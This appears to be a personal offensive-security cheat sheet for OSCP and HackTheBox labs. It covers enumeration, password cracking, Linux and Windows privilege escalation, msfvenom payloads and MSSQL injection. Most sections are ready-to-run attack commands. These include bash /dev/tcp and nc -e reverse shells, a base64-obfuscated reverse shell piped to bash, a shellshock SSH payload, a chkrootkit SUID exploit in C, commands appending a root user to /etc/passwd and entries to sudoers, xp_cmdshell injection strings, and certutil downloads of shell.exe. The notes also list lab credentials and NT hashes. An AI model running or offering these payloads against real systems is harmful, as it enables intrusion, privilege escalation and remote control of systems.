smbclient -N -L //10.10.10.134/

smbclient -N //10.10.10.134/Backups

1

smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash

1
2
3


recurse	ON			#Enable recursion; mget and mput will traverse directories recursively
prompt OFF			#Disable prompts so downloads no longer require y/n confirmation
mget *				#Download files in bulk; * is a wildcard that matches all filenames during recursive traversal

get xxxxx ; Download a file put xxxxx ; Upload a file mget * ; Download all files in the current directory tar c test.tar notes/ ; Archive all files under the notes directory

12.steghide

A steganography tool. Use –help to see the detailed commands you need.

steghide info plainsight.jpg

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

13.ffuf

A fuzzing tool. See help or find a blog post for details.

ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt

ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “Host: FUZZ.sneakycorp.htb” –hh 185

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

14.Privilege Escalation by Modifying a File

If sudo lets you execute a root-owned file, change it to the format below to escalate privileges directly.

#!/bin/bash bash -ip

15.knock

I’ve collected two port-knocking methods.

The image below shows an example port-knocking configuration.

knock 192.168.1.5 33 44 55

nmap -Pn –host-timeout 201 –max-retries 0 -p 159 192.168.1.5

16.Brute-forcing an id_rsa Private Key

I ran into this situation in a lab today, so I went and learned how to handle it.

cd /usr/share/john Use the ssh2john.py file in this directory to convert the format. ./ssh2john.py ~/id_rsa > ~/hash converts id_rsa into content that john can recognize. Start brute-forcing: john hash –wordlist=/usr/share/wordlists/rockyou.txt

john –format=md5crypt –wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd # Brute-force the hash as md5crypt, which is type 1

john –format=NT –wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

1
2
3
4
5
6
7


hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 1000 hashes.txt --show

# Identify the corresponding hash format
hashcat --help | grep -i "Kerberos"

17.newgrp

newgrp is a Linux command for switching user groups. It lets a user temporarily switch to another group so they can run commands or access specific files as that group.

newgrp

18.Building a File-Upload Environment

This creates an environment for uploading files, so you do not have to construct the request packet yourself. Just find the endpoint and upload through it.

1
2
3
4
5
6
7
8


<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

1

curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"

19.chkrootkit (Unconventional Privilege Escalation)

Details: Research on Exploiting and Preventing the Chkrootkit 0.49 Local Privilege-Escalation Vulnerability - Zhihu

Find the chkrootkit directory. It usually contains a README where you can check the version.

It is usually under /etc/chkrootkit.

Or, even better, use this command:

./chkrootkit -V If it is 0.49, you can escalate privileges using the method above.

The exact process is as follows.

Save the file as updata.c and download it to the /tmp directory on the target machine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#include <unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

gcc -o update update.c # Compile it

Once compilation finishes, enter the chkrootkit directory and run chkrootkit once: ./chkrootkit

You will find that /tmp/update now has root permissions.

Return to the tmp directory and run ./updata to obtain root privileges.

20.Checking the System Version and Kernel

uname -r

cat /etc/*-release

lsb_release -a

21.Dirty COW Linux Local Privilege-Escalation Vulnerability (CVE-2016-5195)

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

Affected versions:

Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1

22.Apport (Ubuntu 14.04/14.10/15.04) - Race-Condition Privilege-Escalation Vulnerability

Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit

I never expected this privilege-escalation exploit to run. This type of exp is not common for me, so I assumed it would not be very useful. It does work, though, so I’m noting it down for now.

23.hexchat(IRC)

The default password for ngIRCd is ’ wealllikedebian ‘.

24.smtp-user-enum

SMTP user enumeration. See help for detailed usage instructions.

smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10

25.shellshock

While working on a lab, I ran into a connection that dropped immediately after succeeding. I searched for ages but could not find a vulnerability tutorial for “executing a command during an SSH connection.” The only suggestion I found was to append “ls -al” to the connection command, but that did not work. I later found this vulnerability in a write-up.

bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange

‘() { :;}; command’ # Append this when connecting; command is the command to execute

ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa “() { :;}; bash -c ’exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1’”

26.apache2.conf Privilege Escalation

The basic idea is to add a user and group to apache2.conf. After Apache restarts, the configuration takes effect. Place a webshell in /var/www/html beforehand; after the restart, trigger the webshell to get a reverse shell with the permissions of the user you added.

Root cannot start it by default, so this is for escalating to another user. You need permission to restart Apache and modify apache2.conf.

#User ${APACHE_RUN_USER} #Group ${APACHE_RUN_GROUP}

User test

Group test

The /etc/apache2/sites-enabled directory contains configuration files.

27.netstat -tuln

Check which ports are in use. This command is simple and there is not much to it, but I’m noting it down anyway.

netstat -tuln

netstat -ano

28.dig

To enumerate subdomains, put the domain after dig and the DNS server after @.

dig hackers.blackhat.local @192.168.2.177

dig @10.10.10.123 friendzoneportal.red AXFR

dnsenum fabricorp.local –dnsserver 10.10.10.193

This command returns records for the entire DNS zone, including all A, AAAA, CNAME, and MX records, along with subdomain information.

1

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

29.Privilege Escalation with the Python cap_sys_ptrace+ep Capability

Command: getcap -r / 2>/dev/null |grep python

Output: /usr/bin/python2.7 = cap_sys_ptrace+ep

Script: https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

Tutorial: https://www.cnblogs.com/zlgxzswjy/p/15185591.html

30. /etc/passwd Privilege Escalation

When /etc/passwd is writable, add a user entry and switch to it with su.

Generate a salted password. Password is the password to set, and salt is the salt to use.

perl -le ‘print crypt(“Password”,“salt”)’

Write it to /etc/passwd, then switch users with su.

echo “hack:ad7t5uIalqMws:0:0::/root:/bin/bash” » /etc/passwd

31.Cron-Job Privilege Escalation

cat /etc/crontab

Inspect the scheduled tasks and identify the important part.

1

# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh

Column 1: Minute (0-59)
Column 2: Hour (0-23)
Column 3: Day of the month (1-31)
Column 4: Month (1-12)
Column 5: Day of the week (0-7, where both 0 and 7 represent Sunday)
Column 6: User that executes the command
Column 7: Command to execute

This means that every five minutes, root enters the /var/www/html/ directory and runs the finally.sh script with sudo privileges.

When a file executed by a scheduled task runs as root and an ordinary user can modify that file

chmod u+s /bin/bash

chmod u+s /bin/bash

/bin/bash -p # Escalate to the root group

Or:

cp /bin/bash /var/www/html/suidbash chmod u+s /var/www/html/suidbash

suidbash -p # Escalate to the root group

sudo -l

echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers Write sudo execution permission for the current account into sudoers, then add the u+s permission to the executable. Finally, run the file with sudo to escalate privileges, as shown below:

chmod u+s finally.sh echo ‘www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh’ » /etc/sudoers

sudo -l

Matching Defaults entries for www-data on sar: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on sar: (ALL) NOPASSWD: /var/www/html/finally.sh

echo ‘su root’ » finally.sh sudo /var/www/html/finally.sh

32.Bypassing Command-Injection Restrictions

Ways to Bypass Some Command-Injection Restrictions - Xianzhi Community

echo “YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=” | base64 -d | bash

echo Decode and execute

33.Reversing pyc with uncompyle6

This is all you need to reverse a pyc file: uncompyle6 1.pyc > 1.py

Online decompiler for pyc, pyo, python, and py files; currently supports Python 1.5 through 3.6 - Online Tool

34.Reverse Shells

bash -c ’exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1’

python -c ‘import pty; pty.spawn("/bin/bash")’

nc -e /bin/bash 192.168.31.17 7777

35.john

echo ‘$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41’ »/tmp/1 john /tmp/1 –wordlist=/usr/share/wordlists/rockyou.txt

zip: zip2john passwd.zip > passwd.hash

john passwd.hash john passwd.hash –wordlist=/usr/share/wordlists/rockyou.txt

john –pot=new.pot hash.txt –wordlist=/usr/share/wordlists/rockyou.txt

36.Process Discovery with pspy

Release No more waiting on drain · DominicBreuker/pspy · GitHub

Upload and run it to inspect processes, then continue with privilege escalation.

37.Wordlists

Directory brute-forcing wordlists:

/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

1
2
3
4
5
6
7


https://www.cnblogs.com/shenlinken/p/10176682.html can manipulate wordlists, including deduplication and reverse sorting
sort -u duweixin.net.txt		#Remove duplicates
sort -r duweixin.net.txt		#Reverse sort

# This is very powerful
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g

38.smtp

Common commands:

Command Purpose

helo smtp Greet the server and test whether login worked

auth login Log in to a specific mailbox; the username and password are base64-encoded

mail from Enter the email sender

rcpt to Enter the email recipient

data Start composing the email

quit Exit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


# Greet the server
HELO mail.relia.com

# Start authentication
AUTH LOGIN
# Enter the Base64-encoded username (maildmz@relia.com)
bWFpbGRtekByZWxpYS5jb20=
# Enter the Base64-encoded password (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=

MAIL FROM:<maildmz@relia.com>
RCPT TO:<RECIPIENT_EMAIL>
DATA
Subject: Test email
This is the email body

. # A dot on its own line terminates the message body

swaks --to jim@relia.com \
 --from maildmz@relia.com \
 --server 192.168.183.189 \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --header "Subject: Test Email Subject" \
 --body "This is the email body content.\nMultiple lines can be included.\n" \
 --attach file.txt \
 --attach-type "text/plain" \
 --attach-name "custom_filename.txt"

# Prefix attachments with @
swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data

Here is a serious problem I ran into: I could not include an attachment.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


# Create the email format
cat > email.txt << 'EOL'
From: maildmz@relia.com
To: jim@relia.com
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary

--boundary
Content-Type: text/plain

This is the email body content.

--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"

EOL

# Base64-encode the file being sent and place it below
base64 configuration.Library-ms >> email.txt

# End
echo "
--boundary--" >> email.txt

Request packet up to this point
swaks -to jim@relia.com \
 --from maildmz@relia.com \
 --auth LOGIN \
 --auth-user maildmz@relia.com \
 --auth-password DPuBT9tGCBrTbR \
 --server 192.168.183.189 \
 --data "$(cat email.txt)"

Common response codes:

Code Meaning

220 SMTP is online and ready for operations

221 Close the SMTP service

250 The current operation completed successfully

334 Waiting for input; appears during user login

235 Authentication succeeded

535 Authentication failed

39.pop3

The POP3 protocol

The default POP3 port is 110. The POP3 protocol has two stages:

Authentication stage

The client enters a username and password for authentication, and the server returns OK or ERR.

Transaction stage

This stage supports basic email operations.

Common commands:

Command Purpose

user Enter the username

pass Enter the password

list List the number of messages and number them automatically

retr Retrieve a message by its number

dele Delete a message

quit Exit

40.nmap

nmap -p- –min-rate 10000 10.10.10.51

–script vuln

find /usr/share/nmap/scripts -name ‘wordpress’

nmap -T4 -Pn -sC –script http-wordpress-enum –script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit=“all”,http-wordpress-enum.check-latest=“true” -p80 tartarsauce.htb

nmap -p- –min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193

https://nmap.org/nsedoc/scripts/http-wordpress-enum.html

https://nosec.org/home/detail/2844.html # enumerate plugins

1
2
3
4


# Check host availability
nmap -sn 172.16.131.0/24
# Initial scan
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24

41.masscan

masscan -p 1-65535 10.10.10.58 –rate=100

42.nc

1
2
3
4
5


Server
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
Client
nc -n 192.168.1.100 10000 > aa.txt

`plain Run this on the receiving end: (6666 can be any available port) nc -lvp 6666 > fileName Run this on the sending end: nc target_ip 6666 < fileName`

43.wpscan

wpscan –url http://10.10.10.88:80/webservices/wp -e ap –plugins-detection aggressive -t 50 # thoroughly enumerate plugins

44.sudo

sudo -u lets you specify a user and run an application that user is allowed to elevate with sudo.

45.locate

locate backuper

Similar to find, but more convenient.

46.bash

/bin/bash bash -p # spawns a new shell with the current privileges; this can be useful in scripts, for example with SUID

1
2
3
4
5
6
7
8
9



```c

#include &lt;unistd.h&gt;
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}

```text

47.gcc

For version compatibility issues, use static linking. Some hosts are 32-bit, so add m32.

gcc -static -m32 -o 1 1.c

48.irc

IRC is chat software. Just launch it with HexChat; the rest of the setup is fairly straightforward.

49.SSH Configuration File

https://blog.csdn.net/qq_41765918/article/details/126837789

Public Key Filename

On the machine you want to trust, the public key file is named authorized_keys. If there are multiple machines, put each key on its own line. The filename is determined by the AuthorizedKeysFile parameter in /etc/ssh/sshd_config; the default is authorized_keys.

Public Key Path

Open /etc/ssh/sshd_config and find the AuthorizedKeysFile .ssh/authorized_keys setting, as shown below.

If the setting is uncommented, place the authorized_keys file in the configured directory. If it is still commented out, the file goes under ~/.ssh/.

Permissions

Directory structure: ~/.ssh/authorized_keys

Set the authorized_keys file permissions to 600, the .ssh directory permissions to 700, and the home directory permissions to 755.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#Disable root login; enable this if logging in as root
PermitRootLogin yes

# Whether sshd checks permissions on the user's home directory and related files.
# This prevents problems caused by incorrect permissions on important files.
# For example, incorrect permissions on ~/.ssh/ may prevent login in some cases.
StrictModes no

# Whether users may log in with key pairs; applies only to version 2.
# User public keys are stored in .ssh/authorized_keys under the home directory.
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# Disable password login once key-based login is configured.
PasswordAuthentication no

50.Multiple Shells

1
2


setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &

51.Buffer Overflow (Brief Notes)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


info registers		#Crash information
disassemble				#Add an argument, such as disassemble main, to view the function's assembly
ldd								#Find dynamic libraries
ldd rop | grep libc		#rop is the target program
readelf						#Find function offsets
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"		#Find the system function offset
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"		#Find the /bin/sh string address
break *0x80484f8	#Set a breakpoint
x/20x $esp				#View stack data
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Dump of assembler code for function vuln:
 0x080484f8 <+0>: push %ebp									#Push the caller's frame base onto the stack
 0x080484f9 <+1>: mov %esp,%ebp						#Set ebp to the current stack top
 0x080484fb <+3>: sub $0x38,%esp						#Subtract 56 bytes from the stack pointer to allocate space
 0x080484fe <+6>: sub $0x8,%esp						#Subtract 8 bytes from the stack pointer to allocate space
 0x08048501 <+9>: push 0x8(%ebp)						#Push the 8-byte argument onto the stack
 0x08048504 <+12>: lea -0x30(%ebp),%eax			#Subtract 48 bytes from ebp and store the address in eax
 0x08048507 <+15>: push %eax									#Push eax onto the stack
 0x08048508 <+16>: call 0x8048350 <strcpy@plt>	#Call strcpy
 0x0804850d <+21>: add $0x10,%esp
 0x08048510 <+24>: sub $0xc,%esp
 0x08048513 <+27>: push $0x80485dd
 0x08048518 <+32>: call 0x8048340 <printf@plt>
 0x0804851d <+37>: add $0x10,%esp
 0x08048520 <+40>: sub $0xc,%esp
 0x08048523 <+43>: lea -0x30(%ebp),%eax
 0x08048526 <+46>: push %eax
 0x08048527 <+47>: call 0x8048340 <printf@plt>
 0x0804852c <+52>: add $0x10,%esp
 0x0804852f <+55>: nop
 0x08048530 <+56>: leave
 0x08048531 <+57>: ret

52.Windows: Switch Users

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


runas /user:administrator cmd.exe

psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# Method 1: Invoke-Command
Invoke-Command -ScriptBlock { COMMAND_TO_EXECUTE } -Credential $cred

# Method 2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "COMMAND_TO_EXECUTE"

53.msfvenom

On Windows, getting a reverse shell seems a bit more troublesome. Unlike Linux, it is not nearly as convenient to bounce a shell back.

That is when all kinds of msfvenom reverse-shell payloads come in handy, so I am keeping a record of them here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


For non-MSF reverse-shell scripts, use an nc listener
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334

aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx

jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp

dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php

Use payloads as the -l argument to list all payloads
Use --platform to specify the payload platform and --arch to specify the architecture
msfvenom -l payloads --platform windows --arch x64

54.Standard Windows Privilege Escalation

Juicy Potato Privilege Escalation

https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md # find the CLSID for the matching version

https://www.cnblogs.com/J0o1ey/p/15714555.html Detailed tutorial

Check whether the default RPC port is 135. If it has been changed (for example, to 111), use the juicypotato parameter -n 111 to specify the RPC port.
Run whoami /priv to check whether the current user privileges meet the requirements.

If SeImpersonate is enabled, use -t t with juicypotato.

If SeAssignPrimaryToken is enabled, use -t u with juicypotato.

If both are enabled, use -t *.

If neither is enabled, privilege escalation is not possible.

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

1
2


echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"

55.impacket Parameters

1
2


smbserver.py kali . -smb2support #Enable SMB2
python smbpasswd.py tlavel@10.10.10.193

56.RPC Enumeration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140

# View all users
enumdomusers
# View all groups
enumlsgroups
# Query which groups a user belongs to
queryusergroups
queryusergroups 0x46c

# The IT group can change passwords
# A misconfigured permission may allow password changes
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
This can connect through WinRM

57.windows download

1
2
3


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe

58.git

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


git-dumper http://192.168.165.144/.git/ output_dir

# Stage new files in Git
git add shell.aspx
# Commit changes
git commit -m "add shell.aspx"
# Push changes
git push origin main

git show #View all commits

Stage all changes:
git add . # Stage all changes in the current directory
git add -A # Stage all changes, including deleted files

Stage specific files:
git add file1.txt file2.txt # Stage multiple specified files
git add *.txt # Stage all .txt files

Similar choices are available when committing:
git commit -m "message" # Commit all staged files
git commit file1.txt -m "message" # Commit a specific file
git commit -am "message" # Automatically stage and commit all tracked changes

Normal commit
git add .
git commit -m "test"
git push

Private-token authentication
git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git
git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad

https://juejin.cn/post/7021023267028729887

59.ExifTool (Metadata Analysis)

1
2


ExifTool 1.pdf
ExifTool -a -u 1.pdf

60.Synchronize the Clock (Time)

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date

rpcclient -U "" -N htb.local
rpcdump> gettime

net time -S htb.local

rdate -n htb.local

#Synchronize
date -s "Sat Dec 7 05:14:11 2024"
date

61.Windows: Read the Microsoft Defender Exclusion List

1

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

62.OSCP Notes - Information Gathering

WHOIS listens on port 43.

1
2
3
4


whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251

whois megacorpone.com -h 192.168.131.251

Google: use the Google crawler for information gathering.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# Filter files with a .txt suffix
site:megacorpone.com filetype:txt
# Exclude files with an .htlm suffix
site:megacorpone.com -filetype:html

# The above is only a small sample; the command below can find much more information
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/

site:megacorpone.com intext:VP Of Legal

host

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com

cat list.txt
www
ftp
mail
owa
proxy
router

for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"

DNS brute forcing

1
2
3
4
5
6
7
8
9


Use -d to specify the domain and -t to specify the enumeration type (a standard scan here)
dnsrecon -d megacorpone.com -t std

Brute-force attempt
-d specifies the domain
-D specifies the file containing candidate subdomain strings
-t specifies the enumeration type
brt means brute force
dnsrecon -d megacorpone.com -D ~/list.txt -t brt

1

dnsenum megacorpone.com

1
2


nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151

netcat

1
2
3
4
5
6
7
8


-w specifies the connection timeout in seconds
-z specifies zero-I/O mode, used for scanning without sending data
-u performs a UDP scan
-nv enables verbose mode
-nvv enables more verbose mode

nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123

Port scanning

1

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

63.MSSQL Injection

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!

# Restore xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//Allow advanced settings to be changed
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //Enable the xp_cmdshell extension
RECONFIGURE;--

# Test whether xp_cmdshell is enabled via blind injection
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --

# Test whether a file exists; delay five seconds if it does
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# This also tests whether a file exists and is easier to use
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --

# Execute a shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --

Note: Once xp_cmdshell is confirmed, writing a file is not required; it provides CMD execution.
It can run many commands, such as downloading and executing a file with curl. Writing a file may be the worse choice.

MSSQL statements

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth

-- List all databases
SELECT name FROM master.sys.databases
GO

-- Switch databases
USE databasename
GO

-- List all tables in the current database
SELECT name FROM sysobjects WHERE xtype = 'U'
GO

-- View the contents of a table
SELECT * FROM tablename
GO

Connecting to MSSQL with PowerShell

1
2
3


$sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()

Reference: https://blog.csdn.net/kk185800961/article/details/52513640

The one-liner below is enough to run SQL statements. If it does not work, check the reference above.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


$cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()

# Enable xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()

# Execute a system command
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()

# Current user
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()

# Whether the current user is sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()

# Current user's database permissions
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()

# Server-level permissions
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()

# Database-level permissions
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()

# SQL Server version
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()

# Server name
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()

# Current database
